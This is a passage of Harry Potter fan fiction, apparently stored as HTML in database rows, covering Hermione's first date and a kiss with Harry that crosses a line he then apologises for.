book.</p>\n\n<p><i>&#8216;I know that!&#8217;</i> She said to herself.</p>\n\n<p>Draco walked into the library and right up them, he did a double take looking at Hermione. <i>&#8216;Whoa!&#8217;</i> He thought he looked at Justin who appeared to be ignoring her. He just shrugged and walked over to the table. &#8220;Hey Justin I&#8217;ve been looking for you. It&#8217;s time.&#8221;</p>\n\n<p>Justin smiled; &#8220;Yeah!!&#8221; he got up from his chair and started walking with Draco. </p>\n\n<p>&#8220;Is that Hermione Granger?&#8221; Draco asked him.</p>\n\n<p>&#8220;Yeah I guess so,&#8221; Justin shrugged. &#8220;I wasn&#8217;t really paying attention.&#8221; </p>\n\n<p>They left the library.</p>\n\n<p>Hermione sighed and flattened her head against the table. She heard the chair across from her scrape along the floor and she lifted her head looking into the smiling face of Dean Thomas once again.</p>\n\n<p>&#8220;Hello Hermione.&#8221; </p>\n\n<p>&#8220;Hello Dean.&#8221; She inwardly rolled her eyes.</p>\n\n<p>&#8220;I was thinking that tomorrow night, that you would go with me to Hogsmeade, you know as in like a date maybe?&#8221; He asked.</p>\n\n<p>Hermione noticed he looked like he was going to wet himself, &#8220;You&#8217;re asking me on a&#8212;a date?&#8221; She found this odd, he never paid her any attention before and now he&#8217;s following her around asking her for a date. &#8220;I don&#8217;t know.&#8221;</p>\n\n<p>&#8220;Oh just say yes, you won&#8217;t regret it. I promise you.&#8221; Dean so hoped she would go.</p>\n\n<p>Hermione glanced at the table and thought a moment; she had never been on a date at all before. Sure she was curious of how it felt and what it was like. So out of experimental reasons only she agreed. &#8220;Alright Dean.&#8221;</p>\n\n<p>&#8220;Excellent. I&#8217;ll meet you at the bottom of the stairs at seven.&#8221; He stood up from the chair and made was way out of the library.</p>\n\n<p>The bell rung telling the students they now had five minutes to get to class. Hermione stood up from the chair and she too left the library heading for her Herbology class. </p>\n\n<p>Hermione rounded the corner and practically ran into Harry who had his nose stuck in a book. &#8220;Harry what are you reading?&#8221;</p>\n\n<p>Harry looked up from his book, &#8220;Uh nothing.&#8221; He guilty shoved it behind his back.</p>\n\n<p>A smirk crawled onto Hermione&#8217;s face, &#8220;What are you reading Harry?&#8221;</p>\n\n<p>She tried to grab it from him, but he kept holding it out of her reach, Hermione needed to out smart him. She looked passed his shoulder. &#8220;Oh hi Kelly.&#8221;</p>\n\n<p>Harry turned around and Kelly certainly wasn&#8217;t there, Hermione grabbed the book from him. </p>\n\n<p>&#8220;Hey, give it back.&#8221; He sounded like a child who just had his favorite toy stolen.</p>\n\n<p>Hermione glanced at the cover of the book and laughed, &#8220;Oh so Harry you&#8217;re reading a sappy love story huh?&#8221; She handed it back to him, &#8220;Oh I bet your just looking for the sex scenes.&#8221;</p>\n\n<p>Harry grabbed the book from her, &#8220;For your information, it&#8217;s got a great plot, and excellent characters.&#8221; He said seriously.</p>\n\n<p>Hermione noticed he was serious, &#8220;Oh my, you&#8217;re actually reading it?&#8221; She started laughing and started walking away from him. </p>\n\n<p>Harry followed and caught up with her, his next class was Care of Magical Creatures, which was in the same direction as her so he could walk with her. &#8220;Okay at first I was just going to read it so I can get in good with Kelly you know.&#8221;</p>\n\n<p>Hermione nodded.</p>\n\n<p>&#8220;But to tell you the truth, it is very interesting.&#8221;</p>\n\n<p>Hermione shook her head, &#8220;Oh Harry you&#8217;re really starting to scare me.&#8221; She laughed. And they went their separate ways to class.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * * *</p>\n\n<p>Harry opened the door to his room and his date Julie stepped inside. </p>\n\n<p>&#8220;So this is the Head Boy&#8217;s room?&#8221; She turned to him with a smile. &#8220;I&#8217;ve always wanted to come in here.&#8221;</p>\n\n<p><i>&#8216;Oh I&#8217;m sure you will.&#8217;</i> Harry thought to himself with a smirk then his smirk faded and was replaced by a sincere smile. &#8220;Did you enjoy the evening?&#8221;</p>\n\n<p>&#8220;Very much so.&#8221; Julie looked about the room. &#8220;It&#8217;s kind of plain in here don&#8217;t you think?&#8221; She walked towards the closed door of the bathroom and opened it. The tiles of the bathroom were white. &#8220;What&#8217;s that door for?&#8221; She asked as Harry came up behind her seeing what she was talking about.</p>\n\n<p>&#8220;Oh that&#8217;s Hermione&#8217;s room, you know the Head Girl.&#8221; Harry said.</p>\n\n<p>&#8220;Ah,&#8221; Julie moved towards the door and opened it. She was awestruck. The Head Girl had great taste; the room had different colored silk like banners across the walls. There were a few candles about the room in decorative positions. The bed was bigger then what ordinary students got and it was made with what looked like a crushed velvet comforter. &#8220;I like this room, it&#8217;s very nice.&#8221;</p>\n\n<p>&#8220;Yeah.&#8221; Harry said.</p>\n\n<p>Julie flipped her blonde hair behind her and then turned around facing Harry, &#8220;So are you disappointed that our date is over?&#8221;</p>\n\n<p>He stepped nearer to her, &#8220;It&#8217;s not over yet.&#8221; He bent down, and gently covered her mouth with his, her mouth opened underneath his ready to receive him. His tongue confidently tangling with hers, he started pressing her backwards towards the bed. Julie landed on the soft comforter with him on top of her. He lifted up off of her a moment and removed his glasses setting them on the nightstand next to the bed. Harry returned his mouth to hers and his fingers found their way to the hem of her shirt as her fingers found their way to his.</p>\n\n<p>Hermione yawned approaching the portrait, &#8220;Sugar Quill.&#8221; She said quietly and the portrait swung out of the way and she entered the Head Boy and Girl&#8217;s quarters. She was so tired, it was at least twelve thirty and she needed sleep. She yawned again and started climbing the stairs to her room. Hermione wondered if Harry was still enjoying his date. Oh well she would ask him about his date in the morning after a wonderful, restless slumber. She opened the door to her room and was before her was not expected. The flash of Harry&#8217;s rear end caused her to scream out loud. &#8220;AHHHH!&#8221; She covered her eyes. &#8220;WHAT ARE YOU DOING IN MY ROOM!!&#8221; She knew very well what they were doing.</p>\n\n<p>Harry and Julie fell off the bed onto the floor when they heard Hermione&#8217;s scream. Julie and Harry scrambled into their clothing and Harry quickly stood grabbing his glasses from off the nightstand. </p>\n\n<p>&#8220;Are you decent, after what I saw I&#8217;m surprised I&#8217;m not blind.&#8221; Hermione spat.</p>\n\n<p>Julie looked at Harry in disappointment, &#8220;Well I guess I better go.&#8221; She shook her head and started for the door. She looked at Hermione, &#8220;you do have a beautiful room though.&#8221; And with that Julie left through the door.</p>\n\n<p>&#8220;Ah Hermione, why did you have to ruin a wonderful date like that?&#8221; Harry asked also disappointed.</p>\n\n<p>Hermione brought her hands down from her face looking at him; she walked over to her bed. &#8220;Oh gross, you guys were doing it in my bed.&#8221; She took her wand out. &#8220;Have you no consideration for other people&#8217;s bed sheets?&#8221; Hermione waved her wand in the air spoke a spell and the sheets disappeared. She turned to him. &#8220;I think I&#8217;m scared for life I actually saw your naked fat ass.&#8221;</p>\n\n<p>&#8220;My ass is not fat.&#8221; He retorted. &#8220;And sense you&#8217;ve actually seen my ass I think I should be compensated for the little show that you got. Why don&#8217;t you give me a couple of a galleons, that should do it?&#8221;</p>\n\n<p>She turned looking at him as if he were insane, &#8220;I&#8217;m not going to pay you because I saw your ass,&#8221; Hermione smirked, &#8220;Okay Harry.&#8221; She walked over to her dresser and took out her little moneybag, then pulled out a Knut and tossed it to him. &#8220;There you go. That&#8217;s how much the view of your ass is worth.&#8221;</p>\n\n<p>&#8220;A Knut? Only a Knut. Oh come on I&#8217;m worth at least twenty galleons.&#8221; Harry pointed out</p>\n\n<p>Hermione shook her head &#8220;Nope I think a Knut will do quite nicely.&#8221; She smirked.</p>\n\n<p>&#8220;Hermione, honey, I used what I had on my date tonight and I need a little cash. I want to buy her something I totally have to make it up to, to&#8212;&#8221; For some reason Harry couldn&#8217;t remember her name. </p>\n\n<p>Hermione turned to him with a smirk on her face, her arms crossed in front of her. &#8220;You don&#8217;t even know her name?&#8221;</p>\n\n<p>Harry glanced around the room and then back at Hermione, &#8220;I know her name, it&#8217;s&#8230;it&#8217;s.&#8221; Harry thought hard he saw Hermione tapping her toe against the floor.</p>\n\n<p>&#8220;Well?&#8221; She was trying so hard not to laugh.</p>\n\n<p>&#8220;I&#8217;m thinking.&#8221; He concentrated hard, her name flashed in his mind, &#8220;Julie, her name is Julie.&#8221;</p>\n\n<p>Hermione laughed. &#8220;I&#8217;m not paying for something for your date Harry. If anyone should be paid here it should be me, in fact you should pay me for the use of my room.&#8221;</p>\n\n<p>&#8220;Aw Hermione I&#8217;m sorry about your bed. We got a bit carried away it won&#8217;t happen again.&#8221; He promised.</p>\n\n<p>&#8220;No apology is going to make me give you money, so forget it.&#8221; Hermione waved her wand again and a fresh pair of sheets and a blanket appeared on her bed.</p>\n\n<p>&#8220;Oh all right fine,&#8221; He sighed then sat down on the edge of her bed. &#8220;So Hermione how did my ass look?&#8221; Harry </p>\n\n<p>She looked at him, &#8220;You know I think I&#8217;m going to have nightmares for the rest of my life.&#8221; </p>\n\n<p>&#8220;You&#8217;re not very nice.&#8221;</p>\n\n<p>&#8220;Harry it&#8217;s like one in the morning, I&#8217;m tired, I just discovered you finishing off your date in my bed, in my room. I have no reason to be nice.&#8221; She said with a force smile.</p>\n\n<p>&#8220;You&#8217;re just jealous, you wish it were you.&#8221; Harry smirked.</p>\n\n<p>&#8220;Nah, sorry but Julie&#8217;s not my type.&#8221; She said returning his smirk.</p>\n\n<p>&#8220;That&#8217;s not what I meant.&#8221;</p>\n\n<p>Hermione yawned. &#8220;Good night Harry.&#8221; She grabbed his arm and pulled him off her bed. &#8220;I would like to change my clothes now.&#8221;</p>\n\n<p>He leaned against the nightstand, &#8220;Oh go right ahead don&#8217;t mind me. You know, since I really didn&#8217;t get to finish with Julie how about you and I&#8212;&#8221; He was cut off as Hermione interrupted him by turning around.</p>\n\n<p>&#8220;Good night Harry.&#8221; She said quickly.</p>\n\n<p>Harry sighed and for some reason he was even more disappointed now. &#8220;Good night Hermione.&#8221; He walked towards the door and turned around on last time, &#8220;You know I am very frustrated so why don&#8217;t you just give me&#8212;&#8221; He was cut off again as a pillow hit him square in the face.</p>\n\n<p>&#8220;Out&#8221; Hermione grinning pointed towards his room, She knew what he was going to say.&#8221;</p>\n\n<p>Harry shook his head back and forth and left threw the door, he closed is behind him.</p>\n\n<p>Hermione pointed her wand to the pillow on the floor, &#8220;Accio pillow.&#8221; </p>\n\n<p>The pillow flew at her and she grabbed and placed it on her bed. She got out of her clothes and into her pajamas ready to sleep.</p>\n\n<p>Early Saturday morning as Blaise walked towards the Great Hall doors for breakfast she heard a funny noise in the closet to her left. She sure hoped that Ginny Weasley and her lover of the day weren&#8217;t in there. It was really horrifying to see that guy with himself up her butt. She shuddered with the thought. Blaise took the chance and pulled it open. She laughed seeing Hermione Granger in there. She looked around for any sign of her company. There wasn&#8217;t anyone. </p>\n\n<p>&#8220;What are you doing?&#8221;</p>\n\n<p>&#8220;I&#8217;m hiding.&#8221; Hermione said quietly.</p>\n\n<p>&#8220;Why?&#8221; Blaise started to laugh.</p>\n\n<p>&#8220;They won&#8217;t leave me alone.&#8221; She looked around.</p>\n\n<p>&#8220;Who won&#8217;t?&#8221;</p>\n\n<p>&#8220;Practically the entire male population of Hogwarts if you want to know.&#8221;</p>\n\n<p>&#8220;Oh Hermione you should just enjoy it.&#8221;</p>\n\n<p>&#8220;I don&#8217;t like it. It&#8217;s freaky.&#8221;</p>\n\n<p>&#8220;Oh come on, let&#8217;s get breakfast. I&#8217;ll make sure no one attacks you this morning.&#8221; Blaise promised.</p>\n\n<p>&#8220;Alright, besides I am a bit hungry.&#8221; Hermione came out of the closet (A/N: No she&#8217;s not gay)and walked with Blaise to the Great Hall for breakfast</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * * *</p>\n\n<p>She was so bored. Hermione yawned as she listened as Dean went on and on about various topics that didn&#8217;t interest her. They were mostly about wrestling or other Muggle sports. Hermione glanced at her watch it was only nine O&#8217;clock but it felt like midnight. &#8220;Dean can we go? I&#8217;m tired and I need to get up early tomorrow.&#8221;</p>\n\n<p>&#8220;But tomorrow is Sunday.&#8221; Dean reminded as he sipped from his drink.</p>\n\n<p>&#8220;I know but I always get up early, I have to study for the N.E.W.T.S they are very important. You know you should&#8212;&#8221; She was cut off as Dean stood.</p>\n\n<p>He didn&#8217;t want to hear her ramble on and on, the only reason he had asked her out was because she suddenly was the most sought after female at the school and he wanted to beat everyone to her. &#8220;Okay Hermione we&#8217;ll go.&#8221;</p>\n\n<p>They returned to the school and Dean acting like the perfect gentleman walked her up to her portrait. Dean was smiling.</p>\n\n<p>&#8220;Well thank you for dinner Dean.&#8221; She smiled back.</p>\n\n<p>Harry climbed the stairs as he closed his book he saw Dean and Hermione, she was standing against the wall and he was smiling at her. He crossed his arms and leaned against the wall watching them.</p>\n\n<p>&#8220;You&#8217;re welcome Hermione.&#8221; He leaned in.</p>\n\n<p>Hermione tensed and took a deep breath, gulping down air. She looked around nervously as Dean was nearing her. At the very last second she turned her face out of the way and glanced down at the floor.</p>\n\n<p>Dean pulled back confused; he saw her hand extending in the form of a handshake. And out of reflex he grabbed it, and she shook his hand vigorously. </p>\n\n<p>&#8220;Thank you for a lovely date Dean.&#8221; She said with a wide smile.</p>\n\n<p>&#8220;Uh yeah, sure.&#8221; Dean said not really sure what was going on. He dropped her hand and turned to go. </p>\n\n<p>Hermione waited till he was gone and she sighed relaxing against the wall closing her eyes. She heard footsteps coming towards her and her eyes popped open.</p>\n\n<p>&#8220;Interesting way to end a date Hermione, a nice handshake is a nice way to show how much you care for a person.&#8221; Harry mocked.</p>\n\n<p>&#8220;Oh shut up.&#8221; Hermione said and turned towards the portrait, she spoke the password the picture moved out of the way.</p>\n\n<p>&#8220;What&#8217;s this, no snappy come back.&#8221; Harry continued to joke as he followed her into the common room.</p>\n\n<p>&#8220;Just leave me alone Harry.&#8221; Hermione replied.</p>\n\n<p>&#8220;Okay what&#8217;s the matter?&#8221; He asked, knowing something was up she wasn&#8217;t acting like herself. Harry tossed the book on the couch.</p>\n\n<p>&#8220;Nothing.&#8221; She lied.</p>\n\n<p>&#8220;Did you have a bad date?&#8221;</p>\n\n<p>&#8220;Well not really.&#8221; Hermione sat down on the couch and picked up the book Harry had been focused on lately. On the cover were two people held in a passionate embrace. She sighed and threw it to the floor and kicked it away. It slid across the room. She hated feeling like this and her arms crossed in front of her.</p>\n\n<p>&#8220;If you didn&#8217;t have a bad date, then what was with the handshake back there?&#8221; He pointed with his thumb towards the portrait.</p>\n\n<p>&#8220;Because I have never&#8212;&#8221; She almost blurted out the truth. &#8220;I just didn&#8217;t feel comfortable with him, that&#8217;s all.&#8221;</p>\n\n<p>Harry thought a moment, &#8220;This was your first date ever.&#8221; He thought some more and the answer popped into his head. &#8220;You&#8217;ve never kissed anyone before.&#8221; He smiled.</p>\n\n<p>Hermione jumped up from the couch knowing that he was going to laugh at her inexperience, &#8220;I have to go.&#8221; The redness was already creeping upon her face and she quickly fled towards the stairs. </p>\n\n<p>He moved and got in her way, &#8220;Where you going?&#8221;</p>\n\n<p>&#8220;To my room.&#8221; Hermione went around him and moved away, but he swiftly grabbed her arm.</p>\n\n<p>&nbsp;&#8220;You&#8217;re running away aren&#8217;t you?&#8221;</p>\n\n<p>She turned looking at him irritation clearly in her eyes. &#8220;No, I just want to go to my room is that okay with you?&#8221;</p>\n\n<p>&#8220;Then why are you in such a rush?&#8221;</p>\n\n<p>Hermione didn&#8217;t have an answer, &#8220;Could you possibly let go of me?&#8221; She tried to pull her arm from his grasp.</p>\n\n<p>&#8220;No, we&#8217;re going to talk about this.&#8221;</p>\n\n<p>&#8220;I don&#8217;t want to talk about this; it&#8217;s none of your business.&#8221; She said.</p>\n\n<p>Harry wasn&#8217;t listening to her as he dragged her back to the couch and he sat down, &#8220;Come on sit down and talk to me. I&#8217;m your friend, maybe I can help you.&#8221;</p>\n\n<p>&#8220;You&#8212;you&#8217;re not going to laugh at me?&#8221; Hermione narrowed her eyes in suspicion.</p>\n\n<p>&#8220;Why would I laugh at you?&#8221; He patted the seat next to him</p>\n\n<p>Hermione shrugged &#8220;I don&#8217;t know, it just seemed like you would.&#8221;</p>\n\n<p>&#8220;No, I&#8217;m not going to laugh at you.&#8221;</p>\n\n<p>Hermione sighed and sat down next to him.</p>\n\n<p>&#8220;Okay now, it&#8217;s nothing to be ashamed about.&#8221; He leaned back against the couch cushions. &#8220;You had a perfect opportunity up there to finally get your first kiss, why did you pass it up?&#8221;</p>\n\n<p>Hermione folded her hands and glanced down at her fingers, &#8220;I don&#8217;t know. I suppose I got a little scared. That probably doesn&#8217;t make any sense to you, but it&#8217;s a scary thing.&#8221;</p>\n\n<p>Harry nodded, &#8220;It is a little nerve racking, but other than that. It&#8217;s really nice and fun.&#8221;</p>\n\n<p>&#8220;I was really nervous and scared, I backed out at the last minute. I just couldn&#8217;t do it. So much for that Gryffindor bravery.&#8221; She laughed to herself.</p>\n\n<p>An idea flashed in his mind. &#8220;Then you&#8217;re in luck, I&#8217;m going to do something for you that I have never done for another friend in my life.&#8221;</p>\n\n<p>&#8220;Oh yeah what&#8217;s that?&#8221;</p>\n\n<p>&#8220;I&#8217;m going to give you kissing lessons.&#8221;</p>\n\n<p>&#8220;Ha, ha yeah right. Good joke there Harry.&#8221; She turned away for a moment. Hermione noticed it was awfully quiet. She turned back looking at him, &#8220;You weren&#8217;t joking were you?&#8221;</p>\n\n<p>He shook his head, &#8220;No I wasn&#8217;t.&#8221;</p>\n\n<p>Hermione abruptly stood &#8220;I can&#8217;t do that.&#8221;</p>\n\n<p>Harry looked up at her, &#8220;Why not? Am I repulsive?&#8221;</p>\n\n<p>&#8220;No,&#8221; She took a breath &#8220;It&#8217;s just I can&#8217;t. I want to kiss someone I like.&#8221;</p>\n\n<p>&#8220;What you don&#8217;t like me?&#8221; Harry was feeling slightly offended here.</p>\n\n<p>&#8220;It&#8217;s not that, I&#8212;it&#8217;s uh&#8212;&#8221; Hermione put her finger to her sinuses as a headache was coming on. &#8220;Think of the position you are putting me in.&#8221;</p>\n\n<p>&#8220;Oh I always think about what position I would put you in.&#8221; He smirked.</p>\n\n<p>&#8220;Harry this is no time for jokes.&#8221;</p>\n\n<p>&#8220;Sorry, I couldn&#8217;t help it.&#8221; He stood up. &#8220;What&#8217;s there really to worry about?&#8221;</p>\n\n<p>&#8220;You are my friend, I can&#8217;t go around kissing my friend.&#8221;</p>\n\n<p>Harry nodded. &#8220;Hermione we are friends, the best person to learn this from is a friend. Mostly cause you trust me. You didn&#8217;t trust Dean so you didn&#8217;t feel like you could kiss him. I saw how you were when he was saying good-bye to you. You clearly don&#8217;t trust him at all. And I wouldn&#8217;t if I were you, he&#8217;s false if you know what I mean.&#8221;</p>\n\n<p>&#8220;Yes I know.&#8221; She glanced down.</p>\n\n<p>&#8220;So let me be a good friend to you.&#8221; He stepped closer to her.</p>\n\n<p>&#8220;Oh I don&#8217;t know.&#8221; She shook her head with confusion still looking down; she saw his shoes come into view, which meant he was standing right in front of her.</p>\n\n<p>&#8220;You will find that after the first kiss it does get easier to kiss more people.&#8221;</p>\n\n<p>&#8220;And you are certainly the expert on that.&#8221; She teased a little. </p>\n\n<p>He cracked a smile, &#8220;Another reason why I should help you with this, I am the expert.&#8221;</p>\n\n<p>Hermione looked up, and she almost jumped back, he had never been that close to her in this position before.</p>\n\n<p>Harry could see her fear, so he was going to make this as quick and simple as possible almost just a brushing of lips was all he wanted to show her. Easing her mind and she would get over her first kiss fear. At least she wasn&#8217;t short like Julie; he bent slightly. He could still see her eyes open and he could sense her body was tense much like it was when he witnessed Dean trying to lay one on her earlier. Just as his lips neared hers she turned away at the last minute and he missed. He chuckled a little.</p>\n\n<p>His mouth was near her ear, &#8220;Hermione, trust me.&#8221; He whispered.</p>\n\n<p>She took in a breath and he pulled back a little. Harry noticed her eyes were tightly shut. &#8220;Relax a little.&#8221; He said, &#8220;It&#8217;s not a life or death situation. It&#8217;s only a little kiss I promise.&#8221; He saw her face soften but her eyes remained closed. Quickly, Harry pressed his lips against hers. </p>\n\n<p>Harry&#8217;s brain shut down and his world faded away, her lips were so warm and soft that he found himself pressing against them just a little bit harder. The feel of her lips were completely inviting that he couldn&#8217;t stop himself from running the tip of his tongue along the seam of her lips and at the same time nudging them open with his. He wanted in. </p>\n\n<p>Hermione was slightly confused; she thought this was supposed to be a little kiss. But it did feel really good, who was she to put a stop to it? She felt his lips nudging against hers; she had no idea what he wanted or what to do. What did that mean? She then remembered from movies what that meant. So she took a chance, her mouth opened.</p>\n\n<p>Her mouth open beneath his, Harry wasted no time as he was granted entry. His arms went around her crushing her against him at the same time as his tongue eased into her mouth and touching hers. </p>\n\n<p> Hermione was startled a bit by the entry of his tongue into her mouth, that she tried to pull away but his arms around her prevented it. She felt the light, gentle strokes of his tongue against hers, and her worries disappeared as she attempted to do what he was doing.</p>\n\n<p>Harry felt her getting the hang of it and actually began to kiss him back. He gave of a soft moan into her mouth as he began to kiss her harder and stronger. His hands wandering down her back towards her arms, which were at her side. He lifted them and slowly rested her hands against his shoulders and finally pulled her closer, so that she was completely pressed up against him, the feel of her breasts pushed up against him made groan in frustration. &#8220;<i>GOD SHE FEELS GOOD!!</i>&#8217; his mind screamed and he held her tighter.</p>\n\n<p>Thoughts flashed in her mind, <i>&#8216;Stop it, stop it now. But I don&#8217;t want to, this is sooo nice. Stop, you&#8217;ll regret it in a moment if you don&#8217;t. How do you know? Just who do you think you are kissing, a nice guy? He is a nice guy. Guess again honey. You have just been added to the list. No, he wouldn&#8217;t treat me like that. YES HE WILL!! YOU KNOW HE WILL!&nbsp; THAT&#8217;S WHAT YOU&#8217;RE WORRIED ABOUT! That&#8217;s why you are just his friend;you are worried about&#8212;SHUT UP!! FINE, YOU WIN!!&#8217;</i> Hermione started pushing against him.</p>\n\n<p>Harry felt her pushing against him, he sooo did not want to let her free. This just felt so good. Nothing at all like the many, many times before. He felt her pull her mouth away from his. &#8220;Harry, Harry stop.&#8221; He heard her voice, but her words weren&#8217;t making sense. She kept saying it over and over and using all her strength to push away. </p>\n\n<p>Finally his brain started working again, she was pushing really hard against him. <i>&#8216;Oh God what am I doing to her?&#8217;</i> He questioned himself and he let her go. He saw her step back, her eyes wide with fear, she was scared of him. &#8220;Oh Hermione I am so sorry.&#8221; He stepped towards her but she quickly took another step away. He wanted to kick himself really hard. He realized that he had taken advantage of her; she trusted him and he just crossed the line. He took another step closer and she took another step back.</p>\n\n<p>&#8220;Just stay there.&#8221; She managed to squeak out.</p>\n\n<p>&#8220;Hermione, you don&#8217;t know how sorry I am. I got a little carried away.&#8221; He admitted, and he did. He couldn&#8217;t take it if she wouldn&#8217;t forgive him, she was really important to him and it killed him inside that he had hurt her like that.</p>\n\n<p>&#8220;I just need to gather my thoughts,&#8221; Hermione replied she took a breath and looked him in the eye. &#8220;Why didn&#8217;t you listen to me?&#8221;</p>\n\n<p>Harry was confused, &#8220;When?&#8221;</p>\n\n<p>&#8220;Just a few moments ago,&#8221; Hermione said. &#8220;I had to tell you to stop at least seven times and push away from you so hard before you did.&#8221;</p>\n\n<p>&#8220;I wish I could take that back, I do.&#8221; He was going to be honest. &#8220;I don&#8217;t ever want to hurt you, you have to believe that. But it&#8217;s like my brain stopped working and nothing was making sense, no words, no nothing. So I admit it was my fault and if you never want to talk to me again or end what friendship we have I do understand. I so took advantage of you, but I didn&#8217;t mean to.</p>\n\n<p>Hermione glanced at the floor for a long moment, it was a bitter silence, and she lifted her head. &#8220;Well at least you told me the truth and well I would never want us to not be friends. And I&#8217;m sorry your brain doesn&#8217;t work right, I mean did it ever?&#8221; She smirked.</p>\n\n<p>Harry was so relieved, she cracked a joke. That meant everything was all right between them. He totally wanted to throw his arms around her and hug her tight. He had better ask first. &#8220;Can I hug you?&#8221; </p>\n\n<p>She answered by walking over to him and her arms went around him, they seem to melt into each other&#8217;s embrace. Hermione closed her eyes as she felt his arms tighten around her. </p>\n\n<p>He was content to hold her just like this; he rested his chin on top of her head feeling her soft hair. He glanced down he was a bit disappointed. Harry missed her big hair; she often wondered why she thought of herself as plain, he never had. Her hair was part of who she was. She really shouldn&#8217;t change for anyone but herself. Harry kinda knew that she only saw herself plain when she saw Justin fawning all over Lavender. Oh well he would help Hermione any way he could, and if she wanted to change he won&#8217;t tell her how he really feels about it.</p>\n\n<p>Hermione pulled back and Harry immediately let her go, he didn&#8217;t want a repeat of earlier. He couldn&#8217;t take it when she was afraid of him like that. </p>\n\n<p>&#8220;Well Harry I think I should hit the sack.&#8221; She stepped from him. &#8220;Good night.&#8221; She turned and went up the stairs to her room and closed the door quietly.</p>\n\n<p>Harry ran his fingers through his hair, he was so mad at himself. Why couldn&#8217;t he control what he was doing? He sat down on the table and held his face in his hands. He had just made the biggest mistake of his life. He promised a tiny, simple kiss and he just totally went at it he wanted to ease her mind not make her worries more intense. No matter what she says, she will probably never trust him again. And for some reason he had this odd feeling that their friendship will never be the same. He looked up the stairs at her closed door and decided to go and get some sleep himself.</p>\n\n<p>======</p>\n\n<p>Well that&#8217;s it for chapter 4 stay tuned for chapter 5, remember to read and review. Thanks Ryoko</p> '),
	(15, 5, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Disclaimer: No way are any of the original HP characters\nmine they totally belong to J.K. Rowlings.&nbsp;\nYou are nuts to even think that I own this, where do you people get your\ninformation. Honestly</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">All That She Wants</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">&nbsp;\nChapter 5&#8212; Kiss The Girl&nbsp;&nbsp;&nbsp; &nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">Hermione\nstared up at the ceiling still thinking about earlier, she wondered if it\nalways felt like that to kiss someone.&nbsp;\nWhat she didn&#8217;t understand was why would Harry kiss her like that, she\nremembered it was suppose to be small and it ended up a full blown assault, but\nit was a rather nice assault.&nbsp; It even\nseemed that he rather liked kissing her.&nbsp;\nShe found herself smiling, but then her blasted head had to interfere.&nbsp; Hermione sighed, ah but who was she kidding,\nshe knew her friend had a different girlfriend practically every week.&nbsp; She did not want to be one of those; she\nwould rather just stay his friend.&nbsp; Being\nhis friend was safe, that&#8217;s right safe and secure. Nothing to worry about being\nhis friend, and she was happy just being that. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione also thought about how things would be tomorrow,\nwill he ignore her now?&nbsp; Would he still\nbe the same?&nbsp; She wouldn&#8217;t want him\ntreating her any different.&nbsp; How would\nshe be?&nbsp; Would she be a stuttering fool\nand nervous around him now? Would she blush in front of him?&nbsp; Could she still be herself? Or would she put\nup a false front now? Nah, things wouldn&#8217;t change that drastic over one silly\nlittle kiss, a kiss that was the first one she ever had, sure she would feel a\nlittle different.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">But then it seemed that Harry didn&#8217;t want to stop.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;That&#8217;s\nright.&#8217;</i> Her mind said<i style="mso-bidi-font-style:normal"> &#8216;He didn&#8217;t want\nto stop.&nbsp; He wants to make you think that\nhe cares about you, because you are harder to get into bed then a Catholic\nNun.&nbsp; No, no don&#8217;t say that.&nbsp; It&#8217;s not true. He&#8217;s my friend; he&#8217;s been a\ngood friend. Yeah but for how long, now that you let him cross one line, it\nwill be even easier to cross the next one.&nbsp;\nYou&#8217;re defenses are weakening.&nbsp; No\nthey aren&#8217;t I&#8217;m as strong as I always have been.&nbsp; Why did you let him kiss you then?&nbsp; He said it was better to learn with a\nfriend.&nbsp; That&#8217;s right, it&#8217;s better with a\nfriend but what kind of friend?&nbsp; One that\ntakes advantage of you?&nbsp; You better be\ncautious, next thing you know you&#8217;ll be flat on your back and then&#8212;SHUT UP!! He\nwould never treat me so callously, Never, now stop 